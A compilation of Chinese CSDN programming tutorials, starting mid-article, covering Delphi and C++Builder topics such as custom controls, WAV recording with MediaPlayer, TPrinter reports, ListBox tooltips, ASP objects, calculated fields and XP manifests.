    按照上面的方法，选择TGraphicControl为祖先类，新控件的名称是TPigHorizontalScroller。选择好文件路径和文件名后，单击OK按钮，开始编写代码。
    每一个控件，都会被创建（Create）和删除（Destroy），所以必须首先编写这两个过程。对于控件中的每一个过程，都必须在前面先定义，然后再在后面编写。定义的过程或属性有三种：一、在private后定义的是属于控件内部使用的，使用该控件的人无法看到；二、在protected后定义的一般是看不到的，只在别人使用该控件作为祖先类编写其它控件时才可见；三、在public后定义的只允许别人在程序中调用；四、在published后定义的可以在属性窗口（Object Inspector）中看到。由于创建和删除过程除了在编程过程中建立控件时自动执行外，还可能在程序运行过程中动态创建控件时被调用，所以把它定义在public后⑴。（该序号表示次步骤在所附源程序中的代码的位置，下同）现在也许还不知到应该在这两个过程中编写什么，如何去编。我们在下面将会讲到。
我们首先为这个控件添加一些属性。我们定义一个Max属性用于设置或读取滚动条的最大值。因为在程序中一般不直接使用属性，所以要定义一个变量，和该属性对应起来，一边修改或读取其值。因为它只在控件内部使用，所以我们把它定义在private后⑵。（一般与属性相关联的变量都以"F"开头，例如FMax）定义好变量后，再定义属性。这个属性需要再Object Inspector窗口中可见，所以把它定义再published后⑶。定义的语法是：
    property <属性名>:<类型> read <读取该属性时对应的变量> write <写入该属性时对应的变量或过程>
    其它的变量和属性也类似的定义（例如Min最小值、Value当前值等）。下面我们定义几个属性和变量，用于设置滚动条的图片（因为图片变量比较特殊，所以单独讲一下）。我们把LeftButtonUpPicture（向左按钮图片）、LeftButtonDownPicture（向左按钮按下图片）等定义为TBitmap类型（一定要定义相对应的变量）。
    大家一定注意到了，在所附的源程序中，定义这几个属性时，read后所指定的读取属性时对应的变量是F…，而write后指定的写入该属性时对应的不是一个变量，而是一个Set…之类的东西，这是一个自定义的过程。作为该功能的过程的定义为：
    procedure <过程名>(Value: <被设置的属性的值的类型>)
    因为执行写入该类属性的时候需要做其它的事情，所以不能光用一个变量来处理，应该用一个过程来处理。这中过程一般定义在protected后。在该类过程中，使用一个在⑷处这样一个语句来给TBitmap类型的变量来赋值，这是由于该类型的变量不能直接赋值而采用的。
定义完这些TBitmap类型的变量的属性后，上面讲的create过程和destroy过程中就需要编写代码了。因为TBitmap也是一个类，所以在create过程中必须创建⑸，在destroy过程中必须释放掉(free)⑹。这里⑺所指的inherited语句是用于指明该过程是从祖先类类中继承来的。（这个一定不能掉）。
    因为我们编写的是可视化控件，所以必须在控件上画图。我们这个控件的祖先类TGraphicControl中封装有一个Canvas（画布）对象，我们可以直接使用它来画图。如果你对画布的使用还不太熟悉，最好去找一本书来看一看。
    下面要做的工作就是画图了。如何在控件上画图呢？祖先类TGraphicControl中有一个Paint事件，当控件需要重画时便会自动触发。我们现在要做的就是要为这个事件编写一段程序。首先在protected后定义一个Canvas对象。由于它是祖先类中已有的，所以不需要加任何说明⑻。我们将使用这个对象来画图。接着，就要定义一个Paint过程，编写绘制控件的代码。先在public后定义Paint过程。由于它是由祖先类触发的，而不是由用户调用的，所以后面必须加上override，否则，该控件将会由于Paint过程永远不会被调用而不成为可视化控件⑼。下面我们就来编写Paint过程的代码⑽。
    该文章所附的源程序的Paint过程中的T_Height等变量是用来保存滚动条中按钮、滑块等的大小的，这部分程序和普通的Application中的程序差别不大，大部分都是对画布进行操作，相信大家一看就明白。值得注意的是下面对FAutoSize变量的判断⑾,FAutoSize是和该控件的属性AutoSize相关联的布尔型变量，是用来设置这个控件的大小是否随图片的大小而变化的。注意，在控件的代码中，一般都不直接调用属性，而是使用与其相对应的的变量。
程序编到这里，就算是终于给自己的新控件做了一个外型了，不过它还不能滚动。现在我们来编写鼠标事件，让我们能够操纵它。鼠标事件的过程的定义和Paint过程很相似，只是后面要加上参数说明⑿,鼠标事件分为MouseDown、MouseMove和MouseUp三个，在定义后面都要加上override。接下来在后面编写它的代码。注意：这里的鼠标事件是Mouse…，而不是通常的OnMouse…。可是在⒀处的定义是干什么用的呢？这里的事件定义，都是给用户使用的，也就是说，当使用该控件时，会在Object Inspector中的Event页面中显示出来。
    这些鼠标事件的代码也非常简单，判断鼠标的坐标，在画布上画出相应的图片等，并同时触发相应的事件。值得注意的是，在调用自定义事件时，都要先用⒁处的这样一个语句来判断用户是否已经为该事件编写代码。这一点非常重要，否则会调用出错。
    大家注意到了，刚才所调用的事件都是自定义的，定义的方法也很简单，和定义属性差不多，只是类型时TNotifyEvent罢了。
    TNotifyEvent是默认事件，其定义为：
    TNotifyEvent = procedure(Sender: TObject)
    如果你要定义另外形式的事件，就必须这样：先在type后编写
    <事件类型名称> = procedure(<参数>:<类型>)
例如：
    TCustomEvent = procedure(a: Integer; b:String);
然后在public后定义：
     <事件名称>:<事件类型名称>
例如：
    AnEvent: TCustomEvent;
    看完这些，这整个程序你应该理解了吧。如果编译或运行出错，注意检查以下几点：
        １、create和destroy过程中是否有inherited语句；
        ２、TBitmap类型的变量create和free了没有；
        ３、过程前有没有控件名，例如：TPigHorizontalScroller.MoseMove
    判断鼠标是否进入或离开控件的方法：
定义如下的过程：
    procedure MouseEnter(var Msg: TMessage); message CM_MOUSEENTER;
    procedure MouseLeave(var Msg: TMessage); message CM_MOUSELEAVE;


CSDN_文档中心_如何用Delphi制作录音程序

如何用Delphi制作录音程序
<<电脑商情报>>稿件

   如何用Delphi制作录音程序
陈经韬

Delphi是Inprise(前Borland)公司的优秀的可视化编程工具，它自带的Mediaplayer控件是开发多媒体的利器。用它几分钟就可以做出一个象解霸一样可以播放多媒体文件的程序来。但可能很少人知道，用它也可以做一个录音程序。
运行Delphi,在System页拖一个Mediaplayer控件到窗体上,默认名为Mediaplayer1。由于我们的程序是采用自己的按钮，所以将Mediaplayer1的Visible属性设置为False，其它属性保持默认值。再放两个按钮Button1和Button2。Button1的属性Name改为BtStart,Caption改为"开始录音", Button2的属性Name改为BtStop,Caption改为"停止录音",Enabled属性改为False。然后切换窗口到代码窗口，开始书写代码。
程序中，我们定义了一个Wav文件的文件头格式，录音时先创建一个只有文件头的Wav文件，然后将Mediaplayer1录制下来的声音写进文件。其中CreateWav过程的几个参数意义如下:第一个channels代表声道，取1时代表单声，取2时代表立体声。resolution也只有两个值可以选择，取8时代表8位声音，取16时代表16位声音，rate则代表声音频率，如11025,22050, 44100。值越大则声音越清晰，当然，所录制的文件也越大。最后一个参数则代表对应的文件名称了。所以CreateWav可以有以下形式:
CreateWav(1,8,11025,'C:\abc.wav');//在C盘根目录下创建一个8位单声道频率为11025的名为abc.wav的Wav文件
CreateWav(2,16,44100,'C:\abc.wav');//在C盘根目录下创建一个16位立体声道频率为44100的名为abc.wav的Wav文件

外国一个很出名的用Delphi编写的远程控制软件Netbus有一个声音监听功能，就是用本文的方法写的。它先把对方的声音录制下来，然后传送回来，达到监听对方的目的。当然，前提是对方必须安装有话筒，否则监听到的是对方播放的声音（如打开解霸或者Readplay播放，运行本程序，就可以把播放的声音录制下来了）。
实际上，现在的网络声音传播技术已经发展到一定阶段，语音对讲和IP电话等也开始成熟。不过它们采用的是VOX格式或者ACM格式，具体代码可以在我的主页http://Lovejingtao.126.com下载。但如果对VOX或者ACM格式不熟悉的朋友，也可以用本文的方法来制作自己的“录音机”。至于如何调用系统自带的avifil32.dll来进行网络视频播放，在有机会时再跟大家交流吧。
本程序在Pwin98+Delphi5下通过。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, MPlayer;

type
TWavHeader = record //定义一个Wav文件头格式
rId : longint;
rLen : longint;
wId : longint;
fId : longint;
fLen : longint;
wFormatTag : word;
nChannels : word;
nSamplesPerSec : longint;
nAvgBytesPerSec : longint;
nBlockAlign : word;
wBitsPerSample : word;
dId : longint;
wSampleLength : longint;
end;
TForm1 = class(TForm)
MediaPlayer1: TMediaPlayer;
BtStart: TButton;
BtStop: TButton;
procedure CreateWav(channels : word; resolution : word; rate : longint; fn : string);//自定义写一个Wav文件头过程
procedure BtStartClick(Sender: TObject);
procedure BtStopClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.CreateWav( channels : word; { 1(单声)或者2(立体声) }
resolution : word; { 8或者16,代表8位或16位声音 }
rate : longint; { 声音频率,如11025,22050, 44100}
fn : string { 对应的文件名称 } );
var
wf : file of TWavHeader;
wh : TWavHeader;
begin
wh.rId := $46464952;
wh.rLen := 36;
wh.wId := $45564157;
wh.fId := $20746d66;
wh.fLen := 16;
wh.wFormatTag := 1;
wh.nChannels := channels;
wh.nSamplesPerSec := rate;
wh.nAvgBytesPerSec := channels*rate*(resolution div 8);
wh.nBlockAlign := channels*(resolution div 8);
wh.wBitsPerSample := resolution;
wh.dId := $61746164;
wh.wSampleLength := 0;

assignfile(wf,fn); {打开对应文件 }
rewrite(wf); {移动指针到文件头}
write(wf,wh); {写进文件头 }
closefile(wf); {关闭文件 }
end;
procedure TForm1.BtStartClick(Sender: TObject);
begin
try
//在程序当前目录下创建一个Wav文件Temp.wav
CreateWav(1, 8, 11025, (ExtractFilePath(Application.ExeName)+ 'Temp.wav'));
MediaPlayer1.DeviceType := dtAutoSelect;
MediaPlayer1.FileName := (ExtractFilePath(Application.ExeName)+ 'Temp.wav');
MediaPlayer1.Open;
MediaPlayer1.StartRecording;
BtStart.Enabled:=false;
BtStop.Enabled:=true;
except
BtStart.Enabled:=True;
BtStop.Enabled:=false;
Application.MessageBox('媒体设备初始化失败！','错误',MB_ICONERROR+MB_OK);
end;
end;

procedure TForm1.BtStopClick(Sender: TObject);
begin
try
MediaPlayer1.Stop;
MediaPlayer1.Save;
MediaPlayer1.Close;
Application.MessageBox('声音录制完毕!','信息',MB_ICONINFORMATION+MB_OK);
BtStart.Enabled:=True;
BtStop.Enabled:=false;
except
Application.MessageBox('保存声音文件出错!','错误',MB_ICONERROR+MB_OK);
BtStart.Enabled:=True;
BtStop.Enabled:=false;
end;
end;
end.

补充：1、录制的文件播放时可能要把音频属性的Wav调大。
2、如果系统安装了其它一些音频驱动程序，则可能录制的Wav文件大小为零，但会同时生成一个TMP结尾的文件，将其扩展名改为Wav就是录制的声音文件。但这种情况很少发生。（机会几乎为零^-^）
3、本程序在运行解霸和Replayer下录制声音通过。

★作者:

陈经韬

Http:Lovejingtao.126.com
E-Mail: Lovejingtao@21.cn.com
©CopyRight 2000-2001


CSDN_文档中心_如何用Tprinter设计BCB操作数据库程序中的报表

经常用Borland C++ Builder5编程，操作数据库时，报表打印是必不可少的。但BCB5自身所带的报表控件又显得缺少灵活性。所以，我想到了用TPrinter来打印报表。使用TPrinter必须要在程序头部加入#include <vcl\Printers.hpp>
由于对于不是链页打印纸来说，断页很困难，所以，我所需要设定每页打印的记录数。下面就是我自己编制的一个每页打印30条符合条件记录的代码，写给大家，以供参考。
try{
//定位打印头
int x,y;
x=170;
y=150;
Printer()->BeginDoc();//开始一个打印工作
//打印标头
Printer()->Canvas->Font->Size=24;
Printer()->Canvas->Font->Name="黑体";
Printer()->Canvas->TextOut(x,y," -----服装请领记录-----");
Printer()->Canvas->Font->Size=10;
Printer()->Canvas->Font->Name="宋体";
x=190;
y=y+300;
//打印表格标题行
Printer()->Canvas->TextOut(x,y," ◇"+Trim(Label12->Caption));
y=y+80;
Printer()->Canvas->TextOut(x,y,"┏━━━━━━━━━┳━━━━━━━━━━┳━━┳━━━━━┳━━━━━━━━━━━┳━━━━━━━┓");
y=y+80;
Printer()->Canvas->TextOut(x,y," 日 期 品 名 姓 名 部 门 职 务");
Printer()->Canvas->TextOut(x+1820,y,"数量");
Printer()->Canvas->TextOut(x,y,"┃");
Printer()->Canvas->TextOut(x+830,y,"┃");
Printer()->Canvas->TextOut(x+1742.1,y,"┃");
Printer()->Canvas->TextOut(x+1991.2,y,"┃");
Printer()->Canvas->TextOut(x+2491.73,y,"┃");
Printer()->Canvas->TextOut(x+3487.61,y,"┃");
Printer()->Canvas->TextOut(x+4151,y,"┃");
ADOQuery1->First();
//换页记录计数器初始化
int i=0;
//建立循环，如果不是最后一条记录则进行循环
while(!ADOQuery1->Eof)
{
//计数器加1
i=i+1;
y=y+80;
//打印第一条记录
Printer()->Canvas->TextOut(x,y,"┣━━━━━━━━━╋━━━━━━━━━━╋━━╋━━━━━╋━━━━━━━━━━━╋━━━━━━━┫");
y=y+80;
Printer()->Canvas->TextOut(x,y,"┃"+ADOQuery1->FieldByName("请领日期")->AsString);
Printer()->Canvas->TextOut(x+830,y,"┃"+ADOQuery1->FieldByName("品名")->AsString);
Printer()->Canvas->TextOut(x+1742.1,y,"┃"+ADOQuery1->FieldByName("数量")->AsString);
Printer()->Canvas->TextOut(x+1991.2,y,"┃"+ADOQuery1->FieldByName("请领人")->AsString);
Printer()->Canvas->TextOut(x+2491.73,y,"┃"+ADOQuery1->FieldByName("部门")->AsString);
Printer()->Canvas->TextOut(x+3487.61,y,"┃"+ADOQuery1->FieldByName("职务")->AsString);
Printer()->Canvas->TextOut(x+4151,y,"┃");
ADOQuery1->Next();
//测试是否该换页，每30条记录换一次页
if(i%30==0)
{
//如果已经是最后一条记录，则退出循环
if(ADOQuery1->Eof)
{
break;
}
//如果不是最后一条记录
else
{
//如果该换页，则打印页尾和页码
int p=Printer()->PageNumber;
y=y+80;
Printer()->Canvas->TextOut(x,y,"┗━━━━━━━━━┻━━━━━━━━━━┻━━┻━━━━━┻━━━━━━━━━━━┻━━━━━━━┛");
Printer()->Canvas->TextOut(3800,y+200,"页码："+IntToStr(p));
Printer()->NewPage();
Application->MessageBox("请更换纸张后按确定!","提示",MB_OK);
x=170;
y=150;
Printer()->Canvas->Font->Size=24;
Printer()->Canvas->Font->Name="黑体";
Printer()->Canvas->TextOut(x,y," -----服装请领记录-----");
Printer()->Canvas->Font->Size=10;
Printer()->Canvas->Font->Name="宋体";
x=190;
y=y+300;
Printer()->Canvas->TextOut(x,y," ◇"+Trim(Label12->Caption));
y=y+80;
Printer()->Canvas->TextOut(x,y,"┏━━━━━━━━━┳━━━━━━━━━━┳━━┳━━━━━┳━━━━━━━━━━━┳━━━━━━━┓");
y=y+80;
Printer()->Canvas->TextOut(x,y," 日 期 品 名 姓 名 部 门 职 务");
Printer()->Canvas->TextOut(x+1820,y,"数量");
Printer()->Canvas->TextOut(x,y,"┃");
Printer()->Canvas->TextOut(x+830,y,"┃");
Printer()->Canvas->TextOut(x+1742.1,y,"┃");
Printer()->Canvas->TextOut(x+1991.2,y,"┃");
Printer()->Canvas->TextOut(x+2491.73,y,"┃");
Printer()->Canvas->TextOut(x+3487.61,y,"┃");
Printer()->Canvas->TextOut(x+4151,y,"┃");
}
}
//换页结束
}
//打印完全部记录后，打印表格尾部
y=y+80;
Printer()->Canvas->TextOut(x,y,"┗━━━━━━━━━┻━━━━━━━━━━┻━━┻━━━━━┻━━━━━━━━━━━┻━━━━━━━┛");
//取得总页数
int pp=Printer()->PageNumber;
//在表格尾部打印页码
Printer()->Canvas->TextOut(3800,y+200,"页码："+IntToStr(pp));
Printer()->EndDoc();//结束一个打印工作
ShowMessage("打印完成!谢谢使用!");
}
//异常处理
catch(...)
{
ShowMessage("打印出错!请检查打印机是否连接好或者电源是否打开及其设置!");
}

                                        欢迎光临黑兵网站 http://www.ancn.net
E-mail:621150@0451.com QQ:621150


CSDN_文档中心_如何在 Listbox 上显示 In-place Tooltips

大家知道 TreeView 上的节点如果显示不完全，鼠标移上去会出现一提示，这就是 In-place Tooltips。下面这段代码在 Listbox 上实现这一功能(下面代码只是在标准 Listbox 上测试，如果是自画的，则要修改)：

{直接将下面代码拷贝到新建工程中Form1的Unit1.pas文件即可运行，不需添加任何控件}

//------------------------------------------------------------------------------
// 在 ListBox 上实现 In-place Tooltips
// 原创作者：Joe Huang Email：Happyjoe@21cn.com
//
//------------------------------------------------------------------------------

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, CommCtrl;

type
//改写 TListBox 拦截 CM_MOUSELEAVE 消息
TNewListBox = class(TListBox)
protected
{ Protected declarations }
procedure WndProc(var Message: TMessage); override;
end;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
GHWND: HWND;
TipVisable: Boolean;
OldIndex, CurrentIndex: Integer;
ti: TOOLINFO;
ListBox1: TListBox;

procedure InitListBox; //动态生成 ListBox1
procedure CreateTipsWindow; //生成 Tooltip Window
procedure HideTipsWindow; //隐藏 Tooltip Window

//拦截 WM_NOTIFY 消息，动态改变 Tooltip Window 显示的内容
procedure WMNotify(var Msg: TMessage); message WM_NOTIFY;

procedure ListBox_MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure ListBox_MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

{ TNewListBox }

procedure TNewListBox.WndProc(var Message: TMessage);
begin
case Message.Msg of
CM_MOUSELEAVE: Form1.HideTipsWindow;
end;
inherited WndProc(Message);
end;

{ TForm1 }

procedure TForm1.InitListBox;
begin
ListBox1 := TNewListBox.Create(Self);
ListBox1.Parent := Self;
ListBox1.Left := 50;
ListBox1.Top := 50;
ListBox1.Width := 200;
ListBox1.Height := 200;
//添加几项，以供测试用
ListBox1.Items.Append('happyjoe');
ListBox1.Items.Append('Please send me email: happyjoe@21cn.com');
ListBox1.Items.Append('Delphi 5 开发人员指南');
ListBox1.Items.Append('Delphi 5.X ADO/MTS/COM+ 高级程序设计篇');

ListBox1.OnMouseMove := ListBox_MouseMove;
ListBox1.OnMouseDown := ListBox_MouseDown;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Self.Font.Name := 'Tahoma';
InitListBox;
CreateTipsWindow;
end;

procedure TForm1.CreateTipsWindow;
var
iccex: tagINITCOMMONCONTROLSEX;
begin
// Load the ToolTip class from the DLL.
iccex.dwSize := sizeof(tagINITCOMMONCONTROLSEX);
iccex.dwICC := ICC_BAR_CLASSES;
InitCommonControlsEx(iccex);

// Create the ToolTip control.
GHWND := CreateWindow(TOOLTIPS_CLASS, '',
WS_POPUP,
Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),
0, 0, hInstance,
nil);

// Prepare TOOLINFO structure for use as tracking ToolTip.
ti.cbSize := sizeof(ti);
ti.uFlags := TTF_IDISHWND + TTF_TRACK + TTF_ABSOLUTE + TTF_TRANSPARENT;
ti.hwnd := Self.Handle;
ti.uId := ListBox1.Handle;
ti.hinst := hInstance;
ti.lpszText := LPSTR_TEXTCALLBACK;
ti.rect.left := 0;
ti.rect.top := 0;
ti.rect.bottom := 0;
ti.rect.right := 0;

SendMessage(GHWND, WM_SETFONT, ListBox1.Font.Handle, Integer(LongBool(false)));
SendMessage(GHWND,TTM_ADDTOOL,0,Integer(@ti));
end;

procedure TForm1.WMNotify(var Msg: TMessage);
var
phd :PHDNotify;
NMTTDISPINFO: PNMTTDispInfo;
begin
phd := PHDNotify(Msg.lParam);
if phd.Hdr.hwndFrom = GHWND then
begin
if phd.Hdr.code = TTN_NEEDTEXT then
begin
NMTTDISPINFO := PNMTTDispInfo(phd);
NMTTDISPINFO.lpszText := PChar(ListBox1.Items[CurrentIndex]);
end;
end;
end;

procedure TForm1.ListBox_MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if TipVisable then //当鼠标按下，将显示的 Tooltip Window 隐藏
begin
SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(false)), 0);
TipVisable := false;
end;
end;

procedure TForm1.ListBox_MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var
Index: Integer;
APoint: TPoint;
ARect: TRect;
ScreenRect: TRect;
begin
Index := ListBox1.ItemAtPos(Point(X, Y), true);
if Index = -1 then //如果鼠标下没有 Item，将 Tooltip Window 隐藏
begin
SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(false)), 0);
OldIndex := -1;
TipVisable := false;
exit;
end;
CurrentIndex := Index;
if Index = OldIndex then exit; //如果鼠标在同一 Item 上移动，退出处理
if TipVisable then //先将显示的 Tooltip Window 隐藏
begin
SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(false)), 0);
OldIndex := -1;
TipVisable := false;
end else
begin
ARect := ListBox1.ItemRect(Index);
//判断该 Item 是否完全显示
if (ARect.Right - ARect.Left - 2) >= ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) then
begin
OldIndex := -1;
exit;
end;
APoint := ListBox1.ClientToScreen(ARect.TopLeft);
windows.GetClientRect(GetDesktopWindow, ScreenRect);
//判断 Tooltip Window 显示后是否会超出屏幕范围，这里只判断了右边界
if ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) + APoint.X > ScreenRect.Right then
APoint.X := ScreenRect.Right - ListBox1.Canvas.TextWidth(ListBox1.Items[Index]) - 5;
SendMessage(GHWND,
TTM_TRACKPOSITION,
0,
MAKELPARAM(APoint.x - 1, APoint.y - 2));

SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(true)), Integer(@ti));
OldIndex := Index;
TipVisable := true;
end;
end;

procedure TForm1.HideTipsWindow;
begin
if TipVisable then
begin
SendMessage(GHWND,TTM_TRACKACTIVATE,Integer(LongBool(false)), 0);
OldIndex := -1;
TipVisable := false;
end;
end;

end.


CSDN_文档中心_如何在delphi6中调试web程序

如何在delphi6中调试web程序

感谢borland，这次终于在delphi6中提供了一个调试web程序的利器——Web Application Debugger!

就让我们用它来小试牛刀，看看它给我们提供了多少便利：

1.新建一个web工程,请选中最下面一项：Web App Debugger executable，Coclass name我们设为demo1。

2.在弹出的WebModule2中右击，在弹出的Action编辑框中新建一个webaction，选中，设置Default

属性为True，在其onaction事件中编写如下代码，输出一个仅显示‘hello，dephi！’的html页。

3.请先运行一遍，向Web服务器注册。

4.设置断点，运行。

5.点击Tools|Web App Debugger，显示如下：

6.在Web App Debugger上点击‘Start’:

7.此时‘Start’后面的‘Default URL‘将会激活，请点击。

8.这时将会出现一个小的server框，然后会出现一个html页，上面将
会列出可以调试的程序，请选择我们刚才运行的程序’Project1.demo1‘，
点击右边的’Go‘，然后就会激活delphi，程序停留在我们设置的断点处，
这样，我们就可以调试了。

怎么样？简单吧。
但是调试成功后如何改为我需要的类型呢？？
更简单，请加入一个新的Web工程，选择为你需要的类型，如下：

请在工程浏览器中展开两个工程，把第一个工程Project1.demo1中的程序单元加入到第二个中，注意，

不要把第一个工程的窗体单元也加入，完成后去掉第二个工程的窗体单元，编译，保存，over！更简单吧！

但是要直接调试Isapi类型的程序，那就看看下面的内容吧，相信能令你满意：

HTTP://community.borland.com/article/0,1410,23024,00.html


CSDN_文档中心_如何在Delphi中实现ASP编程

如何在Delphi中实现ASP编程
    众所周知，asp技术是我们在以internet/intranet为平台的web程序的主要技术，在asp应用程序中我们一般使用vbscripts和javascripts两种脚本语言。但是脚本语言是一种非编译的语言，其所开发的web程序存在先天的安全性、执行效率扩张性方面的问题，因此我们一般在开发web系统时用高级语言编写asp执行体，然后用脚本语言作为连接代码去调用asp执行体执行存取。在这方面由于asp技术是微软推出的，因此我们一般利用vb或vc，那么delphi程序员又如何实现呢？

    在这方面笔者最近通过inrpisre的资料，实现了在delphi环境中实现asp技术的web编程，现以一个介绍如下：

    1、在delphi环境中建立一个新的acdivex dll项目project1，然后通过delphi的active server object建立一个asp对象，在他的coclassname中填入所建立对象的名字myaspobject.

    2、通过type library为刚建立的myaspobject对象建立一个将要被脚本语言调用的方法myasprequest.

    3、由于刚才所建立的asp对象是从taspobject继承的，应此我们在方法建立中可以直接使用asp对象，现在为我们建立的asp对象填写代码如下：

    produce tmyaspobject.myasprequest;

    begin

     repsonse.write('<p>您的姓名是:');

     repsonse.write(request.form.item['name']）；

     repsonse.write('</p>');//从所要建立的网页中读出用户名//

     repsonse.write('<p>您的工作是:');

     repsonse.write(request.form.item['work']）；

     repsonse.write('</p>');//从所要建立的网页中读出用户工作//

     repsonse.write('<p>您用的开发工具:');

     if(request.form.item['delphi'].count>0)

     repsonse.write('delphi');

     if(request.form.item['bcb'].count>0)

     repsonse.write('c++ builder');//判断用户所用的开发工具//

     repsonse.write('</p>');

     repsonse.write('<p>您的身份:');

     repsonse.write(request.form.item['identity'])；

     repsonse.write('</p>');//读出用户的身份//

     end;

    4、对程序进行编译并在delphi中进行注册为pmyaspobject.dll文件。

    5、编写用于连接的asp脚本语言文件myasp.asp

    <%@language=jscript %>

    <html>

    <body>

    <title>这是一个用delphi建立的asp对象</title>

    <center><h3>你填的内容如下</h3></center>

    <%

     var myasp;

     myasp=server.createobject(pmyaspobject.myaspobject);

     //生成连接对象//

     myasp.myasprequest();//调用自己定义的asp对象//

    %>

    </body>

    </html>

    6、建立用于显示的网页myhtm.htm

    <form action='localhost/shd/myasp.asp' method='post">

    <h1 align='center">请选择</h1>

    <p>姓名：<input type='text' size=33 name="name"></p>

    <p>工作：<input type='text' size=33 name="work"></p>

    <p>开发工具：<input type='checkbox' name='delphi' value="on">delphi

    <input type='checkbox'name='bcb'value="on">c++ builder</p>

    <p>您的身份:</p>

    <p><select name="identity" size="1">

     <option>学生</option>

     <option>技术人员</option>

     </select></p>

    <p><input type="submit" name="mysubmit" value="递交">

    </form>

    7、然后把myhtm.htm和myasp.asp放在个人的web服务器中的shd目录下即可浏览测试。


CSDN_文档中心_如何在Delphi中用代码来完成计算字段的创建

以前CSDN上有好多人问过这个问题，但是好象没有人给出满意的答案。我也是经过好长时间摸索才找到答案，现在在这给大家分享：
procedure TForm1.FormCreate(Sender: TObject);
var
NewField:TField;
i:integer;
begin
//表中有两字段SName,Birth，现在我们动态生成一个计算字段Age，显示出年龄
NewField:=TStringField.Create(ADOTable);
//创建一个TStringField类型的字段
ADOTable.Close;
for i:=0 to ADOTable.Fields.Count-1 do
ADOTable.Fields[0].Free;//释放所有的静态字段
for i:=0 to ADOTable.FieldDefs.Count-1 do
ADOTable.FieldDefs.Items[i].CreateField(ADOTable);
//根据FieldDefs的字段信息动态的生成静态字段
NewField.Size:=5;
NewField.FieldName:='Age';
NewField.FieldKind:=fkCalculated;
//设置这个这字段为计算字段
NewField.DataSet:=ADOTable;
//把这个字段加到ADOTable上
ADOTable.Open;
end;

procedure TForm1.ADOTableCalcFields(DataSet: TDataSet);
var
YY1,YY2,MM,DD:Word;
TmpDate:TDate;
begin
DecodeDate(Date,YY1,MM,DD);
TmpDate:=DataSet.FieldByName('Birth').AsDateTime;
DecodeDate(TmpDate,YY2,MM,DD);
DataSet.FieldByName('Age').AsString:=IntToStr(YY1-YY2)+'岁';
//在OnCalField中显示出年龄
end;
以上是我用ADO写的。一开始我用BDE写的，也一样都可以通过.


CSDN_文档中心_如何在程序中实现XP模式

发表日期： | 21/04/2002 10:18:39
发表人： | Thomas Stutz
发表人信箱： | tom@swissdelphicenter.ch
发表人网址： | http://www.swissdelphicenter.ch

要在自己的程序中实现Windows XP的视觉效果，就要给程序增加一个说明文件。这个说明文件可以是程序的资源文件，也可以是同路径下的文件。

{
  要在自己的程序中实现Windows XP的视觉效果，就要给程序增加一个说明文件。
  这个说明文件可以是程序的资源文件，也可以是同路径下的文件。

  这个说明文件是一个XML文件。它让Windows XP在链接数据时决定使用哪种版本的comctl32.dll。
  这个XML文件含有你编写的程序的信息和使用的comctrl32.dll版本信息。

  下面介绍如何
    创建说明文件，
    创建XP资源文件，
    包含到应用程序中。

步骤1-4介绍如何创建这些文件。文末可以下载示例。

}

(1) 将下面的XML代码拷贝到文本编辑器：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
processorArchitecture="X86"
name="Microsoft.Windows.MyApplication"
type="win32"
/>
<description>Your Application Description</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="4.0.0.0"
processorArchitecture="X86"
publicKeyToken="4495b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>

(2) 将文中description标记的内容和assemblyIdentity标记的"name"改写成你自己的内容。然后将文件存为：WinXP.txt。

(3) 创建一个资源文件来指向上面的文件，资源文件名为WinXP.rc：
1 24 "WinXP.txt" 。

(4)
  现在要用Delphi的资源编译器(brcc32.exe)来编译WinXP.rc。
  在命令行键入指令：
  brcc32 WinXP.rc
  编译之后生成WinXP.res文件。

(5) 在应用程序中包含这个资源文件，并在{$R *.DFM}之后注明{$R WinXP.res}。

(6) 编译程序并运行。

(7)
  测试程序是否正常。
  注意，有些组件，如TGroupBox, TSpeedButton等不支持XP模式。
  如果使用TListView组件，请阅读《TListView在XP中的补丁程序》

本文链接:
http://www.swissdelphicenter.ch/en/demodownload.php?id=1118


CSDN_文档中心_如何在全屏幕显示一个AVI文件

（1）创建一个工程文件
（2）选择File|New Form创建一个窗体，设置其Name := Form2
（3）设置Form2.BorderStyle := bsNone
（4）在Form2上放置一个MedialPlayer构件
（5）在Form2上放置一个Panel构件，设置其Name := Panel1
（6）设置Panel1.Align := alClient
（7）在Form1的Button1中增添以下的代码：
procedure TForm1.Button1Click(Sender: TObject);
begin
with Form2 do
begin
Show; WindowState := wsMaximized;
MediaPlayer1.Notify := false;
MediaPlayer1.Display := Panel1;
MediaPlayer1.FileName := 'C:\Temp\cool.avi';
MediaPlayer1.Open;
MediaPlayer1.DisplayRect := Form2.ClientRect;
MediaPlayer1.Play;
end;
end;

（8）在Form2的MediaPlayer1的OnNotify事件中添加以下的代码
procedure TForm2.MediaPlayer1Notify(Sender: TObject);
begin
if MediaPlayer1.NotifyValue = nvSuccessful
then Form2.Close; end;


